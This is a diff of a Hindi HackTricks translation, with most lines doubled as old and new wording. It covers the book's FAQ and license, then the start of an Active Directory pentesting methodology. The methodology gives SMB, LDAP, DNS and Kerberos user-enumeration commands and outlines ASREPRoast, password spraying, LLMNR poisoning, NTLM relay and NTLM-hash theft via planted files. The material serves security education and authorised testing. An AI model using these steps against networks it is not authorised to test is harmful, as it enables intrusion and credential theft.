आप HackTricks में अन्य ब्लॉगों की तुलना में बहुत कम सामग्री के साथ परेशान करने वाले विज्ञापनों से भरी हुई नहीं पाएंगे, क्योंकि HackTricks व्यावसायिक उद्देश्यों के लिए नहीं बनाई गई है।
आप HackTricks में अन्य ब्लॉगों की तुलना में कम सामग्री के साथ परेशान करने वाले विज्ञापनों से भरी हुई नहीं पाएंगे, क्योंकि HackTricks व्यावसायिक उद्देश्यों के लिए नहीं बनाई गई है।
> [!CAUTION]
>
> - **अगर कोई HackTricks पृष्ठ मेरे ब्लॉग पोस्ट पर आधारित है लेकिन इसका संदर्भ नहीं दिया गया है तो मुझे क्या करना चाहिए?**
> - **अगर कोई HackTricks पृष्ठ मेरे ब्लॉग पोस्ट पर आधारित है लेकिन इसका संदर्भ नहीं दिया गया है, तो मुझे क्या करना चाहिए?**
**हमें बहुत खेद है। ऐसा नहीं होना चाहिए था**। कृपया, हमें Github मुद्दों, Twitter, Discord... के माध्यम से HackTricks पृष्ठ का लिंक बताएं जिसमें सामग्री है और आपके ब्लॉग का लिंक और **हम इसे ेक करेंगे और ASAP जोड़ेंगे**।
**हमें बहुत खेद है। ऐसा नहीं होना चाहिए था**। कृपया, हमें Github मुद्दों, Twitter, Discord... के माध्यम से HackTricks पृष्ठ का लिंक और आपके ब्लॉग का लिंक बताएं और **हम इसे जांचेंगे और ASAP जोड़ेंगे**।
> [!CAUTION]
>
> - **अगर HackTricks में मेरे ब्लॉग की सामग्री है और मैं इसे वहाँ नहीं चाहता तो मुझे क्या करना चाहिए?**
> - **अगर HackTricks में मेरे ब्लॉग की सामग्री है और मैं इसे वहाँ नहीं चाहता, तो मुझे क्या करना चाहिए?**
ध्यान दें कि HackTricks में आपके पृष्ठ के लिंक होने से:
@ -100,9 +100,9 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
> [!CAUTION]
>
> - **अगर मैं HackTricks में कॉपी-पेस्ट की गई सामग्री पाता हूँ तो मुझे क्या करना चाहिए?**
> - **अगर मैं HackTricks में कॉपी-पेस्ट की गई सामग्री पाता हूँ, तो मुझे क्या करना चाहिए?**
हम हमेशा **मूल लेखकों को सभी श्रेय देते हैं**। यदि आप एक पृष्ठ पाते हैं जिसमें कॉपी-पेस्ट की गई सामग्री है बिना मूल स्रोत का संदर्भ दिए, तो हमें बताएं और हम या तो **इसे हटा देंगे**, **पाठ से पहले लिंक जोड़ेंगे**, या **लिंक जोड़ते हुए इसे फिर से लिखेंगे**
हम हमेशा **मूल लेखकों को सभी श्रेय देते हैं**। यदि आप किसी पृष्ठ पर कॉपी-पेस्ट की गई सामग्री पाते हैं जिसमें मूल स्रोत का संदर्भ नहीं है, तो हमें बताएं और हम या तो **इसे हटा देंगे**, **पाठ से पहले लिंक जोड़ेंगे**, या **लिंक जोड़ते हुए इसे फिर से लिखेंगे**
## LICENSE
@ -116,7 +116,7 @@ Copyright © सभी अधिकार सुरक्षित हैं ज
#### अतिरिक्त शर्तें:
- तृतीय-पक्ष सामग्री: इस ब्लॉग/पुस्तक के कुछ भागों में अन्य स्रोतों से सामग्री शामिल हो सकती है, जैसे अन्य ब्लॉगों या प्रकाशनों से अंश। ऐसी सामग्री का उपयोग उचित उपयोग के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों से स्पष्ट अनुमति के साथ किया गया है। कृपया तृतीय-पक्ष सामग्री के लिए विशिष्ट लाइसेंसिंग जानकारी के लिए मूल स्रोतों का संदर्भ लें।
- तृतीय-पक्ष सामग्री: इस ब्लॉग/पुस्तक के कुछ भागों में अन्य स्रोतों से सामग्री शामिल हो सकती है, जैसे अन्य ब्लॉगों या प्रकाशनों से अंश। ऐसी सामग्री का उपयोग उचित उपयोग के सिद्धांतों के तहत या संबंधित कॉपीराइट धारकों से स्पष्ट अनुमति के साथ किया जाता है। कृपया तृतीय-पक्ष सामग्री के लिए विशिष्ट लाइसेंसिंग जानकारी के लिए मूल स्रोतों का संदर्भ लें।
- लेखन: HackTricks द्वारा लिखी गई मूल सामग्री इस लाइसेंस की शर्तों के अधीन है। आप इस काम को साझा या अनुकूलित करते समय लेखक को श्रेय देने के लिए प्रोत्साहित हैं।
#### छूट:
@ -130,7 +130,7 @@ Copyright © सभी अधिकार सुरक्षित हैं ज
## **अस्वीकृति**
> [!CAUTION]
> यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। इस पुस्तक में सामग्री 'जैसी है' के आधार पर प्रदान की गई है, और लेखक और प्रकाशक किसी भी प्रकार की, स्पष्ट या निहित, पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या इस पुस्तक में निहित जानकारी, उत्पादों, सेवाओं, या संबंधित ग्राफिक्स की उपलब्धता के बारे में कोई प्रतिनिधित्व या वारंटी नहीं देते हैं। आप जो भी भरोसा इस जानकारी पर रखते हैं, वह आपके अपने जोखिम पर है।
> यह पुस्तक, 'HackTricks,' केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। इस पुस्तक में सामग्री 'जैसी है' के आधार पर प्रदान की गई है, और लेखक और प्रकाशक किसी भी प्रकार की, स्पष्ट या निहित, पूर्णता, सटीकता, विश्वसनीयता, उपयुक्तता, या इस पुस्तक में निहित जानकारी, उत्पादों, सेवाओं, या संबंधित ग्राफिक्स की उपलब्धता के बारे में कोई प्रतिनिधित्व या वारंटी नहीं देते हैं। इसलिए, आप जिस जानकारी पर भरोसा करते हैं, वह पूरी तरह से आपके अपने जोखिम पर है।
>
> लेखक और प्रकाशक किसी भी स्थिति में किसी भी हानि या क्षति के लिए उत्तरदायी नहीं होंगे, जिसमें बिना सीमा, अप्रत्यक्ष या परिणामी हानि या क्षति, या डेटा या लाभ के नुकसान से उत्पन्न होने वाली कोई भी हानि या क्षति शामिल है, जो इस पुस्तक के उपयोग से उत्पन्न होती है या इससे संबंधित होती है।
>

View File

@ -4,32 +4,32 @@
## Basic overview
**Active Directory** एक मौलिक तकनीक के रूप में कार्य करता है, जो **नेटवर्क प्रशासकों** को **डोमेन**, **उपयोगकर्ताओं**, और **वस्तुओं** को प्रभावी ढंग से बनाने और प्रबंधित करने की अनुमति देता है। इसे स्केल करने के लिए डिज़ाइन किया गया है, जो एक विस्तृत संख्या में उपयोगकर्ताओं को प्रबंधनीय **समूहों** और **उपसमूहों** में व्यवस्थित करने में मदद करता है, जबकि विभिन्न स्तरों पर **पहुँच अधिकारों** को नियंत्रित करता है।
**Active Directory** एक मौलिक तकनीक के रूप में कार्य करता है, जो **नेटवर्क प्रशासकों** को **डोमेन**, **उपयोगकर्ताओं**, और **ऑब्जेक्ट्स** को एक नेटवर्क के भीतर कुशलता से बनाने और प्रबंधित करने की अनुमति देता है। इसे स्केल करने के लिए डिज़ाइन किया गया है, जो एक विस्तृत संख्या में उपयोगकर्ताओं को प्रबंधनीय **समूहों** और **उपसमूहों** में व्यवस्थित करने की सुविधा प्रदान करता है, जबकि विभिन्न स्तरों पर **एक्सेस अधिकारों** को नियंत्रित करता है।
**Active Directory** की संरचना तीन प्रमुख परतों में विभाजित है: **डोमेन**, **पेड़**, और **जंगल**। एक **डोमेन** वस्तुओं का एक संग्रह है, जैसे **उपयोगकर्ता** या **डिवाइस**, जो एक सामान्य डेटाबेस साझा करते हैं। **पेड़** इन डोमेन के समूह होते हैं जो एक साझा संरचना द्वारा जुड़े होते हैं, और एक **जंगल** कई पेड़ों का संग्रह है, जो **विश्वास संबंधों** के माध्यम से आपस में जुड़े होते हैं, जो संगठनात्मक संरचना की सबसे ऊपरी परत बनाते हैं। प्रत्येक स्तर पर विशिष्ट **पहुँच** और **संचार अधिकार** निर्धारित किए जा सकते हैं।
**Active Directory** की संरचना तीन प्रमुख परतों में विभाजित है: **डोमेन**, **पेड़**, और **जंगल**। एक **डोमेन** ऑब्जेक्ट्स का एक संग्रह है, जैसे **उपयोगकर्ता** या **डिवाइस**, जो एक सामान्य डेटाबेस साझा करते हैं। **पेड़** इन डोमेन के समूह होते हैं जो एक साझा संरचना द्वारा जुड़े होते हैं, और एक **जंगल** कई पेड़ों का संग्रह है, जो **विश्वास संबंधों** के माध्यम से आपस में जुड़े होते हैं, जो संगठनात्मक संरचना की सबसे ऊपरी परत बनाते हैं। प्रत्येक स्तर पर विशिष्ट **एक्सेस** और **संवाद अधिकार** निर्धारित किए जा सकते हैं।
**Active Directory** के भीतर प्रमुख अवधारणाएँ शामिल हैं:
1. **Directory** Active Directory वस्तुओं से संबंधित सभी जानकारी को रखता है।
1. **Directory** Active Directory ऑब्जेक्ट्स से संबंधित सभी जानकारी को रखता है।
2. **Object** निर्देशिका के भीतर की संस्थाएँ, जैसे **उपयोगकर्ता**, **समूह**, या **साझा फ़ोल्डर** को दर्शाता है।
3. **Domain** निर्देशिका वस्तुओं के लिए एक कंटेनर के रूप में कार्य करता है, जिसमें कई डोमेन एक **जंगल** के भीतर सह-अस्तित्व में हो सकते हैं, प्रत्येक अपनी स्वयं की वस्तु संग्रह बनाए रखता है।
3. **Domain** निर्देशिका ऑब्जेक्ट्स के लिए एक कंटेनर के रूप में कार्य करता है, जिसमें कई डोमेन एक **जंगल** के भीतर सह-अस्तित्व में हो सकते हैं, प्रत्येक अपनी स्वयं की ऑब्जेक्ट संग्रह बनाए रखता है।
4. **Tree** डोमेन का एक समूह जो एक सामान्य रूट डोमेन साझा करता है।
5. **Forest** Active Directory में संगठनात्मक संरचना का शिखर, जिसमें कई पेड़ होते हैं जिनमें **विश्वास संबंध** होते हैं।
**Active Directory Domain Services (AD DS)** एक श्रृंखला की सेवाओं को शामिल करता है जो नेटवर्क के भीतर केंद्रीकृत प्रबंधन और संचार के लिए महत्वपूर्ण हैं। इन सेवाओं में शामिल हैं:
1. **Domain Services** डेटा भंडारण को केंद्रीकृत करता है और **उपयोगकर्ताओं** और **डोमेन** के बीच इंटरैक्शन को प्रबंधित करता है, जिसमें **प्रमाणीकरण** और **खोज** कार्यक्षमताएँ शामिल हैं।
1. **Domain Services** डेटा भंडारण को केंद्रीकृत करता है और **उपयोगकर्ताओं** और **डोमेन** के बीच इंटरैक्शन का प्रबंधन करता है, जिसमें **प्रमाणीकरण** और **खोज** कार्यक्षमताएँ शामिल हैं।
2. **Certificate Services** सुरक्षित **डिजिटल प्रमाणपत्रों** के निर्माण, वितरण, और प्रबंधन की देखरेख करता है।
3. **Lightweight Directory Services** **LDAP प्रोटोकॉल** के माध्यम से निर्देशिका-सक्षम अनुप्रयोगों का समर्थन करता है।
4. **Directory Federation Services** एकल सत्र में कई वेब अनुप्रयोगों में उपयोगकर्ताओं को प्रमाणित करने के लिए **सिंगल-साइन-ऑन** क्षमताएँ प्रदान करता है।
5. **Rights Management** बिना अनुमति के वितरण और उपयोग को नियंत्रित करके कॉपीराइट सामग्री की सुरक्षा में मदद करता है।
5. **Rights Management** कॉपीराइट सामग्री की सुरक्षा में मदद करता है, इसके अनधिकृत वितरण और उपयोग को नियंत्रित करता है।
6. **DNS Service** **डोमेन नामों** के समाधान के लिए महत्वपूर्ण है।
अधिक विस्तृत स्पष्टीकरण के लिए देखें: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
### **Kerberos Authentication**
AD पर **हमला करने** के लिए आपको **Kerberos प्रमाणीकरण प्रक्रिया** को बहुत अच्छे से **समझना** होगा।\
AD पर **हमला करने** के लिए आपको **Kerberos प्रमाणीकरण प्रक्रिया** को वास्तव में अच्छी तरह से **समझना** होगा।\
[**यदि आप अभी भी नहीं जानते कि यह कैसे काम करता है, तो इस पृष्ठ को पढ़ें।**](kerberos-authentication.md)
## Cheat Sheet
@ -38,14 +38,14 @@ AD पर **हमला करने** के लिए आपको **Kerberos
## Recon Active Directory (No creds/sessions)
यदि आपके पास केवल AD वातावरण तक पहुच है लेकिन आपके पास कोई क्रेडेंशियल/सेशंस नहीं हैं, तो आप कर सकते हैं:
यदि आपके पास केवल AD वातावरण तक पहुच है लेकिन आपके पास कोई क्रेडेंशियल/सेशंस नहीं हैं, तो आप कर सकते हैं:
- **नेटवर्क का परीक्षण करें:**
- नेटवर्क को स्कैन करें, मशीनें और खुले पोर्ट खोजें और उन पर **कमजोरियों का शोषण** करने या **क्रेडेंशियल्स निकालने** का प्रयास करें (उदाहरण के लिए, [प्रिंटर बहुत दिलचस्प लक्ष्य हो सकते हैं](ad-information-in-printers.md)।
- नेटवर्क को स्कैन करें, मशीनों और खुले पोर्टों को खोजें और उन पर **कमजोरियों का शोषण** करने या **क्रेडेंशियल्स** निकालने का प्रयास करें (उदाहरण के लिए, [प्रिंटर बहुत दिलचस्प लक्ष्य हो सकते हैं](ad-information-in-printers.md)।
- DNS को सूचीबद्ध करने से डोमेन में प्रमुख सर्वरों के बारे में जानकारी मिल सकती है जैसे कि वेब, प्रिंटर, शेयर, वीपीएन, मीडिया, आदि।
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- इस पर अधिक जानकारी के लिए सामान्य [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) पर एक नज़र डालें।
- **smb सेवाओं पर शून्य और गेस्ट पहुँच की जाँच करें** (यह आधुनिक Windows संस्करणों पर काम नहीं करेगा):
- **smb सेवाओं पर शून्य और गेस्ट एक्सेस की जांच करें** (यह आधुनिक Windows संस्करणों पर काम नहीं करेगा):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
@ -57,27 +57,27 @@ AD पर **हमला करने** के लिए आपको **Kerberos
- **Ldap को सूचीबद्ध करें**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- LDAP को सूचीबद्ध करने के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है (विशेष रूप से **गुमनाम पहुँच** पर ध्यान दें):
- LDAP को सूचीबद्ध करने के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है (विशेष रूप से **गुमनाम एक्सेस** पर ध्यान दें):
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
- **नेटवर्क को ज़हर दें**
- **नेटवर्क को विषाक्त करें**
- क्रेडेंशियल्स इकट्ठा करें [**Responder के साथ सेवाओं का अनुकरण करते हुए**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [**रिले हमले का दुरुपयोग करके**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) होस्ट तक पहुँचें
- क्रेडेंशियल्स इकट्ठा करें **नकली UPnP सेवाओं को उजागर करके** [**evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**रिले हमले का दुरुपयोग करते हुए**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) होस्ट तक पहुँचें
- क्रेडेंशियल्स इकट्ठा करें **नकली UPnP सेवाओं को उजागर करते हुए** [**evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- आंतरिक दस्तावेजों, सोशल मीडिया, सेवाओं (मुख्य रूप से वेब) से उपयोगकर्ता नाम/नाम निकालें जो डोमेन वातावरण के भीतर और सार्वजनिक रूप से उपलब्ध हैं।
- यदि आप कंपनी के कर्मचारियों के पूर्ण नाम पाते हैं, तो आप विभिन्न AD **उपयोगकर्ता नाम मानकों** का प्रयास कर सकते हैं (**[यह पढ़ें](https://activedirectorypro.com/active-directory-user-naming-convention/)**)। सबसे सामान्य मानक हैं: _NameSurname_, _Name.Surname_, _NamSur_ (प्रत्येक के 3 अक्षर), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _यादृच्छिक अक्षर और 3 यादृच्छिक संख्या_ (abc123)।
- यदि आप कंपनी के कर्मचारियों के पूर्ण नाम पाते हैं, तो आप विभिन्न AD **उपयोगकर्ता नाम सम्मेलनों** का प्रयास कर सकते हैं (**[यह पढ़ें](https://activedirectorypro.com/active-directory-user-naming-convention/)**)। सबसे सामान्य सम्मेलन हैं: _NameSurname_, _Name.Surname_, _NamSur_ (प्रत्येक के 3 अक्षर), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _यादृच्छिक अक्षर और 3 यादृच्छिक संख्या_ (abc123)।
- उपकरण:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### User enumeration
- **गुमनाम SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पृष्ठों की जाच करें।
- **Kerbrute enum**: जब एक **अमान्य उपयोगकर्ता नाम अनुरोध किया जाता है** तो सर्वर **Kerberos त्रुटि** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ का उपयोग करके प्रतिक्रिया देगा, जिससे हमें यह निर्धारित करने की अनुमति मिलती है कि उपयोगकर्ता नाम अमान्य था। **मान्य उपयोगकर्ता नाम** या तो **AS-REP** प्रतिक्रिया में **TGT** उत्पन्न करेगा या त्रुटि _KRB5KDC_ERR_PREAUTH_REQUIRED_ उत्पन्न करेगा, जो इंगित करता है कि उपयोगकर्ता को पूर्व-प्रमाणीकरण करना आवश्यक है।
- **गुमनाम SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पृष्ठों की जाच करें।
- **Kerbrute enum**: जब एक **अमान्य उपयोगकर्ता नाम अनुरोध किया जाता है** तो सर्वर **Kerberos त्रुटि** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ का उपयोग करके प्रतिक्रिया देगा, जिससे हमें यह निर्धारित करने की अनुमति मिलती है कि उपयोगकर्ता नाम अमान्य था। **मान्य उपयोगकर्ता नाम** एक AS-REP प्रतिक्रिया में **TGT** या त्रुटि _KRB5KDC_ERR_PREAUTH_REQUIRED_ को उत्तेजित करेगा, जो इंगित करता है कि उपयोगकर्ता को पूर्व-प्रमाणीकरण करना आवश्यक है।
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -105,13 +105,13 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
> [!WARNING]
> आप [**इस github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* और इस ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) में उपयोगकर्ता नामों की सूचियाँ पा सकते हैं।
>
> हालाँकि, आपके पास **कंपनी में काम करने वाले लोगों के नाम** होने चाहिए जो आप पहले की पुनः खोज चरण से प्राप्त कर चुके हैं। नाम और उपनाम के साथ, आप संभावित मान्य उपयोगकर्ता नाम उत्पन्न करने के लिए [**namemash.py**](https://gist.github.com/superkojiman/11076951) स्क्रिप्ट का उपयोग कर सकते हैं।
> हालाँकि, आपके पास **कंपनी में काम करने वाले लोगों के नाम** होने चाहिए जो आप पहले की पुनः खोज चरण से प्राप्त कर चुके हैं। नाम और उपनाम के साथ आप [**namemash.py**](https://gist.github.com/superkojiman/11076951) स्क्रिप्ट का उपयोग करके संभावित मान्य उपयोगकर्ता नाम उत्पन्न कर सकते हैं।
### एक या एक से अधिक उपयोगकर्ता नाम जानना
ठीक है, तो आप जानते हैं कि आपके पास पहले से ही एक मान्य उपयोगकर्ता नाम है लेकिन कोई पासवर्ड नहीं है... फिर कोशिश करें:
- [**ASREPRoast**](asreproast.md): यदि किसी उपयोगकर्ता के पास _DONT_REQ_PREAUTH_ विशेषता **नहीं है**, तो आप उस उपयोगकर्ता के लिए **AS_REP संदेश** का अनुरोध कर सकते हैं जिसमें उपयोगकर्ता के पासवर्ड के एक व्युत्पन्न द्वारा एन्क्रिप्टेड कुछ डेटा होगा।
- [**ASREPRoast**](asreproast.md): यदि किसी उपयोगकर्ता के पास _DONT_REQ_PREAUTH_ विशेषता **नहीं है** तो आप उस उपयोगकर्ता के लिए **AS_REP संदेश** का **अनुरोध** कर सकते हैं जिसमें उपयोगकर्ता के पासवर्ड के एक व्युत्पन्न द्वारा एन्क्रिप्टेड कुछ डेटा होगा।
- [**Password Spraying**](password-spraying.md): चलो प्रत्येक खोजे गए उपयोगकर्ताओं के साथ सबसे **सामान्य पासवर्ड** आजमाते हैं, शायद कुछ उपयोगकर्ता एक खराब पासवर्ड का उपयोग कर रहा है (पासवर्ड नीति को ध्यान में रखें!)।
- ध्यान दें कि आप **OWA सर्वरों को भी स्प्रे** कर सकते हैं ताकि उपयोगकर्ताओं के मेल सर्वरों तक पहुँच प्राप्त करने की कोशिश की जा सके।
@ -119,9 +119,9 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
password-spraying.md
{{#endref}}
### LLMNR/NBT-NS जहर देन
### LLMNR/NBT-NS विषाक्तत
आप कुछ चुनौती **हैश** प्राप्त करने में सक्षम हो सकते हैं **जहर देकर** कुछ प्रोटोकॉल के **नेटवर्क**:
आप कुछ चुनौती **हैश** प्राप्त करने में सक्षम हो सकते हैं **नेटवर्क** के कुछ प्रोटोकॉल को **विषाक्त** करके:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -129,17 +129,17 @@ password-spraying.md
### NTML रिले
यदि आप सक्रिय निर्देशिका को सूचीबद्ध करने में सफल रहे हैं, तो आपके पास **अधिक ईमेल और नेटवर्क की बेहतर समझ** होगी। आप NTML [**रिले हमलों**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* को मजबूर करने में सक्षम हो सकते हैं ताकि AD वातावरण तक पहुँच प्राप्त की जा सके।
यदि आप सक्रिय निर्देशिका को सूचीबद्ध करने में सफल रहे हैं तो आपके पास **अधिक ईमेल और नेटवर्क की बेहतर समझ** होगी। आप NTML [**रिले हमलों**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* को मजबूर करने में सक्षम हो सकते हैं ताकि AD वातावरण तक पहुँच प्राप्त की जा सके।
### NTLM क्रेडेंशियल चुराना
यदि आप **अन्य PCs या शेयरों** तक **नल या अतिथि उपयोगकर्ता** के साथ **पहुँच** कर सकते हैं, तो आप **फाइलें** (जैसे SCF फाइल) रख सकते हैं जो यदि किसी तरह से पहुँची जाती हैं तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें:
यदि आप **अन्य PCs या शेयरों** तक **null या guest user** के साथ **पहुँच** प्राप्त कर सकते हैं तो आप **फाइलें** (जैसे SCF फाइल) रख सकते हैं जो यदि किसी तरह से पहुँची जाती हैं तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## क्रेडेंशियल्स/सत्र के साथ सक्रिय निर्देशिका की सूची बनाना
## क्रेडेंशियल्स/सेशन के साथ सक्रिय निर्देशिका की सूची बनाना
इस चरण के लिए आपको **एक मान्य डोमेन खाते के क्रेडेंशियल्स या सत्र को समझौता करना होगा।** यदि आपके पास कुछ मान्य क्रेडेंशियल्स या एक डोमेन उपयोगकर्ता के रूप में एक शेल है, तो **आपको याद रखना चाहिए कि पहले दिए गए विकल्प अभी भी अन्य उपयोगकर्ताओं को समझौता करने के विकल्प हैं**
@ -151,18 +151,18 @@ kerberos-double-hop-problem.md
### सूची बनाना
एक खाते को समझौता करना **पूरे डोमेन को समझौता करने के लिए एक बड़ा कदम है**, क्योंकि आप **सक्रिय निर्देशिका की सूची बनाना शुरू करने में सक्षम होंगे:**
एक खाते को समझौता करना **पूरे डोमेन को समझौता करने के लिए एक बड़ा कदम है**, क्योंकि आप **सक्रिय निर्देशिका की सूची बनाने** में सक्षम होंगे:
[**ASREPRoast**](asreproast.md) के संबंध में, आप अब हर संभावित कमजोर उपयोगकर्ता को खोज सकते हैं, और [**Password Spraying**](password-spraying.md) के संबंध में, आप **सभी उपयोगकर्ता नामों की एक सूची प्राप्त कर सकते हैं** और समझौता किए गए खाते का पासवर्ड, खाली पासवर्ड और नए आशाजनक पासवर्ड आजमा सकते हैं।
[**ASREPRoast**](asreproast.md) के संबंध में, आप अब हर संभावित कमजोर उपयोगकर्ता को ढूंढ सकते हैं, और [**Password Spraying**](password-spraying.md) के संबंध में, आप **सभी उपयोगकर्ता नामों की एक सूची प्राप्त कर सकते हैं** और समझौता किए गए खाते का पासवर्ड, खाली पासवर्ड और नए आशाजनक पासवर्ड आजमा सकते हैं।
- आप [**CMD का उपयोग करके एक बुनियादी पुनः खोज करने के लिए**](../basic-cmd-for-pentesters.md#domain-info) कर सकते हैं
- आप [**पुनः खोज के लिए PowerShell का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/index.html) जो अधिक छिपा हुआ होगा
- आप [**पुनः खोज के लिए powershell का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/index.html) जो अधिक छिपा हुआ होगा
- आप [**powerview का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/powerview.md) अधिक विस्तृत जानकारी निकालने के लिए
- सक्रिय निर्देशिका में पुनः खोज के लिए एक और अद्भुत उपकरण [**BloodHound**](bloodhound.md) है। यह **बहुत छिपा हुआ नहीं है** (आपके द्वारा उपयोग किए गए संग्रह विधियों के आधार पर), लेकिन **यदि आपको इसकी परवाह नहीं है**, तो आपको इसे पूरी तरह से आजमाना चाहिए। पता करें कि उपयोगकर्ता RDP कहाँ कर सकते हैं, अन्य समूहों के लिए पथ खोजें, आदि।
- सक्रिय निर्देशिका में पुनः खोज के लिए एक और अद्भुत उपकरण है [**BloodHound**](bloodhound.md)। यह **बहुत छिपा हुआ नहीं है** (आपके द्वारा उपयोग किए गए संग्रह विधियों के आधार पर), लेकिन **यदि आपको इसकी परवाह नहीं है** तो आपको इसे अवश्य आजमाना चाहिए। पता करें कि उपयोगकर्ता RDP कहाँ कर सकते हैं, अन्य समूहों के लिए पथ खोजें, आदि।
- **अन्य स्वचालित AD सूची बनाने के उपकरण हैं:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**।**
- [**AD के DNS रिकॉर्ड**](ad-dns-records.md) क्योंकि वे दिलचस्प जानकारी रख सकते हैं।
- आप निर्देशिका की सूची बनाने के लिए **AdExplorer.exe** नामक **GUI** वाला एक उपकरण उपयोग कर सकते हैं जो **SysInternal** सूट से है
- आप LDAP डेटाबेस में **ldapsearch** का उपयोग करके _userPassword_ और _unixUserPassword_ फ़ील्ड में क्रेडेंशियल्स की खोज कर सकते हैं, या यहां तक कि _Description_ के लिए भी। cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) अन्य विधियों के लिए।
- एक **GUI वाला उपकरण** जिसका आप निर्देशिका की सूची बनाने के लिए उपयोग कर सकते हैं वह है **AdExplorer.exe** **SysInternal** Suite से
- आप LDAP डेटाबेस में **ldapsearch** का उपयोग करके _userPassword_ और _unixUserPassword_ फ़ील्ड में क्रेडेंशियल्स की खोज कर सकते हैं, या यहां तक कि _Description_ के लिए भी। cf. [PayloadsAllTheThings पर AD उपयोगकर्ता टिप्पणी में पासवर्ड](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) अन्य विधियों के लिए।
- यदि आप **Linux** का उपयोग कर रहे हैं, तो आप [**pywerview**](https://github.com/the-useless-one/pywerview) का उपयोग करके डोमेन की सूची भी बना सकते हैं।
- आप स्वचालित उपकरणों के रूप में भी कोशिश कर सकते हैं:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
@ -171,7 +171,7 @@ kerberos-double-hop-problem.md
Windows से सभी डोमेन उपयोगकर्ता नाम प्राप्त करना बहुत आसान है (`net user /domain`, `Get-DomainUser` या `wmic useraccount get name,sid`)। Linux में, आप उपयोग कर सकते हैं: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` या `enum4linux -a -u "user" -p "password" <DC IP>`
